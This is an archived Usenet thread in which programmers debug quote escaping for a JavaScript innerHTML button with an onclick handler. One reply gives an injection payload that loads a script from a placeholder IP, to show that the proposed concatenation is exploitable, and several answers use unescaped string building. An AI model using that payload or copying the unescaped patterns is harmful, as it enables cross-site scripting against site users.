How to deal with "messy" quotes?
HTML:
<html>
<body>
<span id="nav"></span>
</body>
</html>
JavaScript:
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
Intention:
for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
Problem:
Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
Thanks.
|
0 |
|
justaguy
12/12/2016 12:23:46 AM
comp.lang.javascript
38370 articles. 
2 followers.
javascript4
23 Replies
892 Views
Similar ArticlesOn Sun, 11 Dec 2016 16:23:46 -0800 (PST), justaguy wrote:
> HTML:
> <html>
> <body>
> <span id="nav"></span>
> </body>
> </html>
>
> JavaScript:
> <script>
>
> var s = document.getElementById('nav'),
> num = 0,
> fn = " a new field name ";
> /* in my actual code, the var s represent an element dynamically created
> but to get key point across I'm using static element here
> */
> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
>
> var newFN = function(f,n) {
> console.log(f,n);
> }
>
> </script>
>
> Intention:
> for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
>
> Problem:
> Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
>
> Thanks.
Make a rule for yourself.
For me, I always use double quotes (") for HTML and JavaScript codes since
CSS requires double quote to be the quote character.
The only exception is when assigning HTML code into `innerHTML`/`outerHTML`
properties where I'll use single quotes ('). If the HTML code happens to
require single quotes too, I'll escape them. e.g.:
ele.innerHTML = '<span class="notice">There\'s an input error</b>';
|
|
0 |
|
JJ
12/12/2016 5:42:48 AM
justaguy <lichunshen84@gmail.com> writes: >s.innerHTML = " " + fn + " <input type='button' value='x' To make it more readable, intersperse line breaks s.innerHTML = " " + fn + " <input type='button' value='x' ... and use helper functions: q = x => '"' + x + '"'; ... "newFN( " + q( fn ) + ", " ...
|
|
0 |
|
ram
12/12/2016 11:07:02 AM
ram@zedat.fu-berlin.de (Stefan Ram) writes: >justaguy <lichunshen84@gmail.com> writes: >>s.innerHTML = " " + fn + " <input type='button' value='x' >To make it more readable, intersperse line breaks >s.innerHTML = " " >+ fn >+ " <input type='button' value='x' Due to automatic semicolon insertation, this might not always work. Well. So, maybe: s.innerHTML = " " + fn + " <input type='button' value='x' ... (I first wrote it this way, but then I noticed that the �+� sign was moving. So I wanted to align the �+� signs.)
|
|
0 |
|
ram
12/12/2016 11:17:51 AM
justaguy <lichunshen84@gmail.com> wrote:
>
> HTML:
> <html>
> <body>
> <span id="nav"></span>
> </body>
> </html>
>
> JavaScript:
> <script>
>
> var s = document.getElementById('nav'),
> num = 0,
> fn = " a new field name ";
> /* in my actual code, the var s represent an element dynamically created
> but to get key point across I'm using static element here
> */
> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
>
> var newFN = function(f,n) {
> console.log(f,n);
> }
>
> </script>
>
> Intention:
> for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
>
> Problem:
> Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
>
> Thanks.
This should work:
<html>
<body>
<span id="nav"></span>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
</body>
</html>
You can make quotes within quotes by escaping them using \.
This way you can pass the arguments as strings.
--
_________________________
/ _ \
| __ _ _| |__ ___ _ _ |
| / _| || | '_ \/ -_) '_| |
| \__|\_, |_.__/\___|_| |
\ |__/ /
-------------------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
|
|
0 |
|
cyber
12/12/2016 5:53:35 PM
On Monday, December 12, 2016 at 12:42:54 AM UTC-5, JJ wrote:
> On Sun, 11 Dec 2016 16:23:46 -0800 (PST), justaguy wrote:
> > HTML:
> > <html>
> > <body>
> > <span id="nav"></span>
> > </body>
> > </html>
> >
> > JavaScript:
> > <script>
> >
> > var s = document.getElementById('nav'),
> > num = 0,
> > fn = " a new field name ";
> > /* in my actual code, the var s represent an element dynamically created
> > but to get key point across I'm using static element here
> > */
> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
> >
> > var newFN = function(f,n) {
> > console.log(f,n);
> > }
> >
> > </script>
> >
> > Intention:
> > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
> >
> > Problem:
> > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
> >
> > Thanks.
>
> Make a rule for yourself.
>
> For me, I always use double quotes (") for HTML and JavaScript codes since
> CSS requires double quote to be the quote character.
>
> The only exception is when assigning HTML code into `innerHTML`/`outerHTML`
> properties where I'll use single quotes ('). If the HTML code happens to
> require single quotes too, I'll escape them. e.g.:
>
> ele.innerHTML = '<span class="notice">There\'s an input error</b>';
Ok. So, which quotes do I need to escape in this case?
I attempted to change
s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
to
s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + \"," +num+);'>";
by escape the 1 double quotes before a comma.
The text editor seems to indicate that both parameters can be passed down now but browser complains syntax incorrect.
Thanks.
|
|
0 |
|
justaguy
12/12/2016 5:56:48 PM
On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote:
> justaguy <> wrote:
> >
> > HTML:
> > <html>
> > <body>
> > <span id="nav"></span>
> > </body>
> > </html>
> >
> > JavaScript:
> > <script>
> >
> > var s = document.getElementById('nav'),
> > num = 0,
> > fn = " a new field name ";
> > /* in my actual code, the var s represent an element dynamically created
> > but to get key point across I'm using static element here
> > */
> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
> >
> > var newFN = function(f,n) {
> > console.log(f,n);
> > }
> >
> > </script>
> >
> > Intention:
> > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
> >
> > Problem:
> > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
> >
> > Thanks.
>
> This should work:
>
> <html>
> <body>
> <span id="nav"></span>
> <script>
>
> var s = document.getElementById('nav'),
> num = 0,
> fn = " a new field name ";
> /* in my actual code, the var s represent an element dynamically created
> but to get key point across I'm using static element here
> */
> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
>
> var newFN = function(f,n) {
> console.log(f,n);
> }
>
> </script>
>
> </body>
> </html>
Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks.
|
|
0 |
|
justaguy
12/12/2016 6:05:48 PM
justaguy <lichunshen84@gmail.com> wrote:
> On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote:
>> justaguy <> wrote:
>> >
>> > HTML:
>> > <html>
>> > <body>
>> > <span id="nav"></span>
>> > </body>
>> > </html>
>> >
>> > JavaScript:
>> > <script>
>> >
>> > var s = document.getElementById('nav'),
>> > num = 0,
>> > fn = " a new field name ";
>> > /* in my actual code, the var s represent an element dynamically created
>> > but to get key point across I'm using static element here
>> > */
>> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
>> >
>> > var newFN = function(f,n) {
>> > console.log(f,n);
>> > }
>> >
>> > </script>
>> >
>> > Intention:
>> > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
>> >
>> > Problem:
>> > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
>> >
>> > Thanks.
>>
>> This should work:
>>
>> <html>
>> <body>
>> <span id="nav"></span>
>> <script>
>>
>> var s = document.getElementById('nav'),
>> num = 0,
>> fn = " a new field name ";
>> /* in my actual code, the var s represent an element dynamically created
>> but to get key point across I'm using static element here
>> */
>> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
>>
>> var newFN = function(f,n) {
>> console.log(f,n);
>> }
>>
>> </script>
>>
>> </body>
>> </html>
>
> Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks.
>
This should pass the num variable:
s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";
|
|
0 |
|
cyber
12/12/2016 6:15:17 PM
JJ wrote:
> For me, I always use double quotes (") for HTML and JavaScript codes since
> CSS requires double quote to be the quote character.
Then you are proceeding from a false assumption:
<https://www.w3.org/TR/css-syntax-3/#consume-a-token0>
> The only exception is when assigning HTML code into
> `innerHTML`/`outerHTML` properties where I'll use single quotes ('). If
> the HTML code happens to require single quotes too, I'll escape them.
> e.g.:
>
> ele.innerHTML = '<span class="notice">There\'s an input error</b>';
The resulting markup would not be valid: you have started a “span” element
and ended a “b” element.
--
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
|
|
0 |
|
Thomas
12/12/2016 7:43:57 PM
Stefan Ram wrote:
> ram@zedat.fu-berlin.de (Stefan Ram) writes:
>>justaguy <lichunshen84@gmail.com> writes:
>>>s.innerHTML = " " + fn + " <input type='button' value='x'
>>To make it more readable, intersperse line breaks
>>s.innerHTML = " "
>>+ fn
>>+ " <input type='button' value='x'
>
> Due to automatic semicolon insertation, this might not always work.
This will always work.
> Well. So, maybe:
>
> s.innerHTML =
> " " +
> fn +
> " <input type='button' value='x'
Whatever operator code style you choose, the following lines should be
indented:
s.innerHTML = " " +
fn +
" <input type='button' value='x'…";
In implementations of ECMAScript 2016 one may forego the concatenation with
a template literal:
s.innerHTML = ` ${fn} <input type="button" value="x"…`;
Of course, accessing the “innerHTML” property is seldom justified to begin
with.
> ...
>
> (I first wrote it this way, but then I noticed that the
> »+« sign was moving. So I wanted to align the »+« signs.)
That is what I do:
s = "foo"
+ bar
+ "baz";
--
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
|
|
0 |
|
Thomas
12/12/2016 7:50:58 PM
cyber@example.com wrote:
^^^^^^^^^^^^^^^^^
The From header field of your postings so far is disregarding Netiquette.
Internet is the thing with cables; Usenet is the thing with *people*.
Also, the address part of the From header field of your postings so far
is violating RFC 5536, § 3.1.2 [1] and disregarding RFC 2606, § 2 [2].
Otherwise it would have been possible to notify you of your first mistake
via e-mail [3].
Scorefile adjusted accordingly.
_______
[1] <https://tools.ietf.org/html/rfc5536#section-3.1.2>
[2] <https://tools.ietf.org/html/rfc2606#section-2>
[3] <http://www.interhack.net/pubs/munging-harmful/>
> var s = document.getElementById('nav'),
> num = 0,
> fn = " a new field name ";
> /* in my actual code, the var s represent an element dynamically created
> but to get key point across I'm using static element here
> */
> s.innerHTML = " " + fn + " <input type='button' value='x' onclick =
> 'newFN(\""+fn+" + \", \"+num+\");'>";
The "field name" does not belong in the attribute value, and in a *single*-
quoted string literal *double*-quotes do _not_ need to be escaped (and vice-
versa). Because “num” and “fn” are global, they can be used as-is.
However, the expanded value of “fn” needs to escaped to avoid code
injection:
s.innerHTML = " "
+ fn.replace(/&/g, "&").replace(/</g, "<")
+ " <input type='button' value='x' onclick='newFN(fn, num);'>";
But if one insists that the expansions be in the attribute value, they must
be escaped, too:
String.prototype.escapeHTML = function () {
return this
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/"/g, "\\$&");
};
fn = fn.escapeHTML();
num = num.escapeHTML();
This is another reason why it is a bad idea to access the “innerHTML”
property this way. The proper way does not require escaping:
/* standards-compliant */
while (s.lastChild) s.removeChild(s.lastChild);
/* proprietary */
s.innerHTML = "";
/* all */
s.appendChild(document.createTextNode("\u00a0 " + fn + " ");
var input = document.createElement("input");
/* ECMAScript 2016 */
Object.assign(input, {
type: "button",
value: "x",
onclick: function () { newFN(fn, num); }
});
/* other */
input.type = "button";
input.value = "x";
input.onclick = function () { newFN(fn, num); };
/* all */
s.appendChild(input);
--
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
|
|
0 |
|
Thomas
12/12/2016 8:19:50 PM
On Monday, December 12, 2016 at 3:20:03 PM UTC-5, Thomas 'PointedEars' Lahn=
wrote:
> wrote:
> ^^^^^^^^^^^^^^^^^
> The From header field of your postings so far is disregarding Netiquette.=
=20
> Internet is the thing with cables; Usenet is the thing with *people*.
>=20
> Also, the address part of the From header field of your postings so far
> is violating RFC 5536, =C2=A7 3.1.2 [1] and disregarding RFC 2606, =C2=A7=
2 [2]. =20
> Otherwise it would have been possible to notify you of your first mistake=
=20
> via e-mail [3].
>=20
> Scorefile adjusted accordingly.
>=20
> _______
> [1] <https://tools.ietf.org/html/rfc5536#section-3.1.2>
> [2] <https://tools.ietf.org/html/rfc2606#section-2>
> [3] <http://www.interhack.net/pubs/munging-harmful/>
>=20
> > var s =3D document.getElementById('nav'),
> > num =3D 0,
> > fn =3D " a new field name ";
> > /* in my actual code, the var s represent an element dynamically create=
d
> > but to get key point across I'm using static element here
> > */
> > s.innerHTML =3D " " + fn + " <input type=3D'button' value=3D'x' o=
nclick =3D
> > 'newFN(\""+fn+" + \", \"+num+\");'>";
>=20
> The "field name" does not belong in the attribute value, and in a *single=
*-
> quoted string literal *double*-quotes do _not_ need to be escaped (and vi=
ce-
> versa). Because =E2=80=9Cnum=E2=80=9D and =E2=80=9Cfn=E2=80=9D are globa=
l, they can be used as-is. =20
> However, the expanded value of =E2=80=9Cfn=E2=80=9D needs to escaped to a=
void code=20
> injection:
>=20
> s.innerHTML =3D " "
> + fn.replace(/&/g, "&").replace(/</g, "<")
> + " <input type=3D'button' value=3D'x' onclick=3D'newFN(fn, num);'>";
>=20
> But if one insists that the expansions be in the attribute value, they mu=
st=20
> be escaped, too:
>=20
> String.prototype.escapeHTML =3D function () {
> return this
> .replace(/&/g, "&")
> .replace(/</g, "<")
> .replace(/"/g, "\\$&");
> };
>=20
> fn =3D fn.escapeHTML();
> num =3D num.escapeHTML();
> =20
> This is another reason why it is a bad idea to access the =E2=80=9CinnerH=
TML=E2=80=9D=20
> property this way. The proper way does not require escaping:
>=20
> /* standards-compliant */
> while (s.lastChild) s.removeChild(s.lastChild);
>=20
> /* proprietary */
> s.innerHTML =3D "";
>=20
> /* all */
> s.appendChild(document.createTextNode("\u00a0 " + fn + " ");
>=20
> var input =3D document.createElement("input");
>=20
> /* ECMAScript 2016 */
> Object.assign(input, {
> type: "button",
> value: "x",
> onclick: function () { newFN(fn, num); }
> });
>=20
> /* other */
> input.type =3D "button";
> input.value =3D "x";
> input.onclick =3D function () { newFN(fn, num); };
>=20
> /* all */
> s.appendChild(input);
>=20
Let me try the existing coding first, the following code generated an error=
of var fn not defined. Fyi, the fn content is simple text, ie, "a new fie=
ld name".
s.innerHTML =3D " "=20
+ fn + =20
" <input type=3D'button' value=3D'x' onclick =3D 'newFN(fn,num);'>";
Thanks.
|
|
0 |
|
justaguy
12/12/2016 8:51:29 PM
On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com wrote:
> justaguy <> wrote:
> > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote:
> >> justaguy <> wrote:
> >> >
> >> > HTML:
> >> > <html>
> >> > <body>
> >> > <span id="nav"></span>
> >> > </body>
> >> > </html>
> >> >
> >> > JavaScript:
> >> > <script>
> >> >
> >> > var s = document.getElementById('nav'),
> >> > num = 0,
> >> > fn = " a new field name ";
> >> > /* in my actual code, the var s represent an element dynamically created
> >> > but to get key point across I'm using static element here
> >> > */
> >> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
> >> >
> >> > var newFN = function(f,n) {
> >> > console.log(f,n);
> >> > }
> >> >
> >> > </script>
> >> >
> >> > Intention:
> >> > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
> >> >
> >> > Problem:
> >> > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
> >> >
> >> > Thanks.
> >>
> >> This should work:
> >>
> >> <html>
> >> <body>
> >> <span id="nav"></span>
> >> <script>
> >>
> >> var s = document.getElementById('nav'),
> >> num = 0,
> >> fn = " a new field name ";
> >> /* in my actual code, the var s represent an element dynamically created
> >> but to get key point across I'm using static element here
> >> */
> >> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
> >>
> >> var newFN = function(f,n) {
> >> console.log(f,n);
> >> }
> >>
> >> </script>
> >>
> >> </body>
> >> </html>
> >
> > Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks.
> >
>
> This should pass the num variable:
> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";
Somehow I missed your response.
Yeah, it does, but with the + sign in front of it. And I removed it, so, the code is now:
s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>";
It works perfectly. Thank you.
|
|
0 |
|
justaguy
12/12/2016 10:10:13 PM
On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com wrote:
> > justaguy <> wrote:
> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote:
> > >> justaguy <> wrote:
> > >> >
> > >> > HTML:
> > >> > <html>
> > >> > <body>
> > >> > <span id="nav"></span>
> > >> > </body>
> > >> > </html>
> > >> >
> > >> > JavaScript:
> > >> > <script>
> > >> >
> > >> > var s = document.getElementById('nav'),
> > >> > num = 0,
> > >> > fn = " a new field name ";
> > >> > /* in my actual code, the var s represent an element dynamically created
> > >> > but to get key point across I'm using static element here
> > >> > */
> > >> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
> > >> >
> > >> > var newFN = function(f,n) {
> > >> > console.log(f,n);
> > >> > }
> > >> >
> > >> > </script>
> > >> >
> > >> > Intention:
> > >> > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
> > >> >
> > >> > Problem:
> > >> > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
> > >> >
> > >> > Thanks.
> > >>
> > >> This should work:
> > >>
> > >> <html>
> > >> <body>
> > >> <span id="nav"></span>
> > >> <script>
> > >>
> > >> var s = document.getElementById('nav'),
> > >> num = 0,
> > >> fn = " a new field name ";
> > >> /* in my actual code, the var s represent an element dynamically created
> > >> but to get key point across I'm using static element here
> > >> */
> > >> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
> > >>
> > >> var newFN = function(f,n) {
> > >> console.log(f,n);
> > >> }
> > >>
> > >> </script>
> > >>
> > >> </body>
> > >> </html>
> > >
> > > Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks.
> > >
> >
> > This should pass the num variable:
> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";
>
> Somehow I missed your response.
>
> Yeah, it does, but with the + sign in front of it. And I removed it, so, the code is now:
> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>";
>
> It works perfectly. Thank you.
Ok, now I have a new requirement, that is, to add an ID to the button.
the value of the ID is made of a string and a number.
The following code still hasn't escaped some quotes. How to fix it? Thanks.
var s2;
s2 = " "
+ fn +
" <input type='button' id="NewEl"+num value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>";
|
|
0 |
|
justaguy
12/13/2016 12:56:19 AM
On Mon, 12 Dec 2016 09:56:48 -0800 (PST), justaguy wrote:
>
> Ok. So, which quotes do I need to escape in this case?
>
> I attempted to change
> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
> to
> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + \"," +num+);'>";
> by escape the 1 double quotes before a comma.
> The text editor seems to indicate that both parameters can be passed down now but browser complains syntax incorrect.
>
> Thanks.
Let's shorten and focus on this particular part of the code:
"<input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"
Separating by the (") characters, when it's formatted, it would end up as:
"<input type='button' value='x' onclick = 'newFN(" //string
+ //operator
fn //variable
+ //operator
" + " //string
, //operator
" +num+);'>" //string
Which has incorrect syntax since the comma end up as a JavaScript operator,
instead of a string.
To ease writing confusing code, format it like above first. And since `fn`
is a string, it must be quoted also (otherwise, `fn` contents will be used
as an expression). Keep in mind that we're createing a HTML code, so the
quotes for the JavaScript code in the `onclick` attribute must be escaped at
HTML level. e.g.:
'<input type="button" value="x" onclick = "newFN('' //string
+ //operator
fn //string
+ //operator
'', ' //string
+ //operator
num //number
+ //operator
');">'; //string
Here, I'm using (') for the JavaScript quote and (") for the HTML code
because even if I were to use the quotes the other way around, the browser
will convert (') to (").
|
|
0 |
|
JJ
12/13/2016 11:18:36 AM
On Tue, 13 Dec 2016 18:18:36 +0700, JJ wrote:
> On Mon, 12 Dec 2016 09:56:48 -0800 (PST), justaguy wrote:
>>
>> Ok. So, which quotes do I need to escape in this case?
>>
>> I attempted to change
>> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
>> to
>> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + \"," +num+);'>";
>> by escape the 1 double quotes before a comma.
>> The text editor seems to indicate that both parameters can be passed down now but browser complains syntax incorrect.
>>
>> Thanks.
>
> Let's shorten and focus on this particular part of the code:
>
> "<input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"
>
> Separating by the (") characters, when it's formatted, it would end up as:
>
> "<input type='button' value='x' onclick = 'newFN(" //string
> + //operator
> fn //variable
> + //operator
> " + " //string
> , //operator
> " +num+);'>" //string
>
> Which has incorrect syntax since the comma end up as a JavaScript operator,
> instead of a string.
>
> To ease writing confusing code, format it like above first. And since `fn`
> is a string, it must be quoted also (otherwise, `fn` contents will be used
> as an expression). Keep in mind that we're createing a HTML code, so the
> quotes for the JavaScript code in the `onclick` attribute must be escaped at
> HTML level. e.g.:
>
> '<input type="button" value="x" onclick = "newFN('' //string
> + //operator
> fn //string
> + //operator
> '', ' //string
> + //operator
> num //number
> + //operator
> ');">'; //string
>
> Here, I'm using (') for the JavaScript quote and (") for the HTML code
> because even if I were to use the quotes the other way around, the browser
> will convert (') to (").
So, the complete code should be:
s.innerHTML =
' ' + fn +
'<input type="button" value="x" onclick = "newFN('' +
fn + '', ' + num + ');">';
|
|
0 |
|
JJ
12/13/2016 11:22:56 AM
justaguy <lichunshen84@gmail.com> wrote:
> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com wrote:
>> > justaguy <> wrote:
>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote:
>> > >> justaguy <> wrote:
>> > >> >
>> > >> > HTML:
>> > >> > <html>
>> > >> > <body>
>> > >> > <span id="nav"></span>
>> > >> > </body>
>> > >> > </html>
>> > >> >
>> > >> > JavaScript:
>> > >> > <script>
>> > >> >
>> > >> > var s = document.getElementById('nav'),
>> > >> > num = 0,
>> > >> > fn = " a new field name ";
>> > >> > /* in my actual code, the var s represent an element dynamically created
>> > >> > but to get key point across I'm using static element here
>> > >> > */
>> > >> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
>> > >> >
>> > >> > var newFN = function(f,n) {
>> > >> > console.log(f,n);
>> > >> > }
>> > >> >
>> > >> > </script>
>> > >> >
>> > >> > Intention:
>> > >> > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
>> > >> >
>> > >> > Problem:
>> > >> > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
>> > >> >
>> > >> > Thanks.
>> > >>
>> > >> This should work:
>> > >>
>> > >> <html>
>> > >> <body>
>> > >> <span id="nav"></span>
>> > >> <script>
>> > >>
>> > >> var s = document.getElementById('nav'),
>> > >> num = 0,
>> > >> fn = " a new field name ";
>> > >> /* in my actual code, the var s represent an element dynamically created
>> > >> but to get key point across I'm using static element here
>> > >> */
>> > >> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
>> > >>
>> > >> var newFN = function(f,n) {
>> > >> console.log(f,n);
>> > >> }
>> > >>
>> > >> </script>
>> > >>
>> > >> </body>
>> > >> </html>
>> > >
>> > > Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks.
>> > >
>> >
>> > This should pass the num variable:
>> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";
>>
>> Somehow I missed your response.
>>
>> Yeah, it does, but with the + sign in front of it. And I removed it, so, the code is now:
>> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>";
>>
>> It works perfectly. Thank you.
>
> Ok, now I have a new requirement, that is, to add an ID to the button.
> the value of the ID is made of a string and a number.
>
> The following code still hasn't escaped some quotes. How to fix it? Thanks.
>
> var s2;
> s2 = " "
> + fn +
> " <input type='button' id="NewEl"+num value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>";
This should work:
s2.innerHTML = " "
+ fn +
" <input type='button' id='NewEl"+num+"' value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>";
If NewEl is meant to be the string "NewEl" then you need to put it between quotes or else it will be be
interpreted as a variable.
And num and the + operator should be outside the quotes since num is meant to be a variable and +
is meant to be the concatenation operator, but if you put them between quotes they will just be
seen as being the strings "num" and "+" respectively.
BTW the s2 button would call newFN while leaving n undefined so that parameter could be removed.
|
|
0 |
|
cyber
12/13/2016 11:49:57 AM
JJ wrote: var fn = '')"><script src="https://123.45.67.8/malware.js"></script>'; > s.innerHTML = > ' ' + fn + > '<input type="button" value="x" onclick = "newFN('' + > fn + '', ' + num + ');">'; -- PointedEars FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix> <https://github.com/PointedEars> | <http://PointedEars.de/wsvn/> Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
|
|
0 |
|
Thomas
12/13/2016 12:10:11 PM
cyber@example.com wrote:
> justaguy <lichunshen84@gmail.com> wrote:
>> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
>>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com
>>> wrote:
>>> > justaguy <> wrote:
>>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com
>>> > > wrote:
>>> > >> var newFN = function(f,n) {
^^^
>>> > >> console.log(f,n);
>>> > >> }
> […]
> This should work:
>
> s2.innerHTML = " "
> + fn +
> " <input type='button' id='NewEl"+num+"' value='x' onclick =
^ ^
> 'newFN(\""+fn+"\" + "+num+");'>";
^^^^^^^^^^^^^^
It does not. (The value of) “num” has to be (the value of) the *second*
argument to newFN().
> If NewEl is meant to be the string "NewEl" then you need to put it between
> quotes or else it will be be interpreted as a variable.
> And num and the + operator should be outside the quotes since num is meant
> to be a variable and + is meant to be the concatenation operator, but if
> you put them between quotes they will just be seen as being the strings
> "num" and "+" respectively.
>
> BTW the s2 button would call newFN while leaving n undefined so that
> parameter could be removed.
What a load of nonsense. Blind leading the blind.
--
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
|
|
0 |
|
Thomas
12/13/2016 12:17:59 PM
Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote:
> cyber@example.com wrote:
>
>> justaguy <lichunshen84@gmail.com> wrote:
>>> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
>>>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com
>>>> wrote:
>>>> > justaguy <> wrote:
>>>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com
>>>> > > wrote:
>>>> > >> var newFN = function(f,n) {
> ^^^
>>>> > >> console.log(f,n);
>>>> > >> }
>> […]
>> This should work:
>>
>> s2.innerHTML = " "
>> + fn +
>> " <input type='button' id='NewEl"+num+"' value='x' onclick =
> ^ ^
>> 'newFN(\""+fn+"\" + "+num+");'>";
> ^^^^^^^^^^^^^^
> It does not. (The value of) “num” has to be (the value of) the *second*
> argument to newFN().
>
